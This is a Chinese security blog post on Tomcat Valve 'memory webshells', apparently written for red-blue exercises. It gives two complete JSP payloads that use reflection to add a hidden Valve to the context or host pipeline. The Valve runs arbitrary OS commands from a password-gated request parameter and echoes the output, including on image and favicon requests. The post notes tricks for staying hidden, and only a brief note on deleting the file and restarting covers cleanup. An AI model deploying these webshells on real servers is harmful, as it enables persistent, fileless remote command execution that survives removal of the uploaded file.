随着hw演习,红蓝对抗越来越激烈,攻防对抗研究无止尽,以前hw,黑客上传个jsp文件,直接kill掉就可以了,现在kill掉还得重启服务才可以,现在的木马是直接注入内存.
应用场景:文件上传漏洞等
反序列化漏洞,是直接注入生效,无需文件落地访问落地生效,今天围绕着文件访问落地注入内存马:
我博客写了四篇tomcat文章,就是为tomcat内存马做铺垫:
直接上demo:
<%@ page import="org.apache.catalina.valves.ValveBase" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="org.apache.catalina.Valve" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.mapper.MappingData" %> <%@ page import="org.apache.catalina.Pipeline" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="java.io.InputStream" %> <%@ page import="org.apache.catalina.core.*" %> <%@ page import="org.apache.catalina.connector.Connector" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%! public class myValue extends ValveBase { public void invoke(Request req, Response resp) throws IOException, ServletException { if ("023".equals(req.getParameter("pwd"))) { java.io.InputStream in = Runtime.getRuntime().exec(req.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; resp.getWriter().write("<pre>"); while ((a = in.read(b)) != -1) { resp.getWriter().write(new String(b)); } resp.getWriter().write("</pre>"); } //注入调用invoke this.getNext().invoke(req, resp); } } %> <% myValue myValve = new myValue(); //获取request属性 Field request1 = request.getClass().getDeclaredField("request"); request1.setAccessible(true); Request req = (Request) request1.get(request); System.out.println(req); //获取请求上下文地址,并转换成StandardContext StandardContext context = (StandardContext) req.getContext(); Pipeline pipeline = context.getPipeline(); pipeline.addValve(myValve); %> <html> <head> <title>$Title$</title> </head> <body> <h1>hello JavaWeb</h1> </body> </html>
启动tomcat运行:
这里可以设置响应404,更隐匿,这时候内存马已经被注入成功.
访问一个不存在的页面:
如果做了报错统一处理,是可以在不存在的一个页面上rce的,为什么这里可以执行命令,因为我做了缺省servlet:
这段代码的缺陷是必须是可访问的界面,不能在jpg/ico/png静态资源上执行命令回显,我测试是不能在图片上回显....
如果我是一张静态资源图片,是无法执行命令的,只会显示jpg,执行任何命令都没反应:
对前面的代码做改造,因为有了一些tomcat架构设计基础,简单的改造下:
首先访问test.jsp,让内存马注入生效
再次访问jpg图片:
访问favicon.ico:
代码如下:
<%@ page import="org.apache.catalina.valves.ValveBase" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%@ page import="org.apache.catalina.Valve" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.mapper.MappingData" %> <%@ page import="org.apache.catalina.Pipeline" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="java.io.InputStream" %> <%@ page import="org.apache.catalina.core.*" %> <%@ page import="org.apache.catalina.connector.Connector" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%! public class myValue extends ValveBase { public void invoke(Request req, Response resp) throws IOException, ServletException { if ("023".equals(req.getParameter("pwd"))) { java.io.InputStream in = Runtime.getRuntime().exec(req.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; resp.getWriter().write("<pre>"); while ((a = in.read(b)) != -1) { resp.getWriter().write(new String(b)); } resp.getWriter().write("</pre>"); } //注入调用invoke this.getNext().invoke(req, resp); } } %> <% myValue myValve = new myValue(); //获取request属性 Field request1 = request.getClass().getDeclaredField("request"); request1.setAccessible(true); Request req = (Request) request1.get(request); System.out.println(req); StandardHost host = (StandardHost) req.getHost(); Pipeline pipeline = host.getPipeline(); pipeline.addValve(myValve); %> <html> <head> <title>$Title$</title> </head> <body> <h1>hello JavaWeb</h1> </body> </html>
漏洞修复:
(1)先删除jsp
被中内存马后,删除jsp后一定要重启,这里我删除test.jsp,但是我没重启,仍然可以执行命令操作:
删除jsp木马后,下一步就是重启tomcat服务:
重启后,一切恢复正常,内存马清理成功.
注意:如果没发现jsp shell,那么大概率是直接注入/攻击者删除了jsp,这时候直接重启tomcat服务即可解决问题
Valve内存马学习参考链接:https://mp.weixin.qq.com/s/kfN6uU3A-jR72fyK8epnGw
内存马现在花样套路层出不穷,花样百出,这里笔者只是抛砖引玉,安全之路任道众远!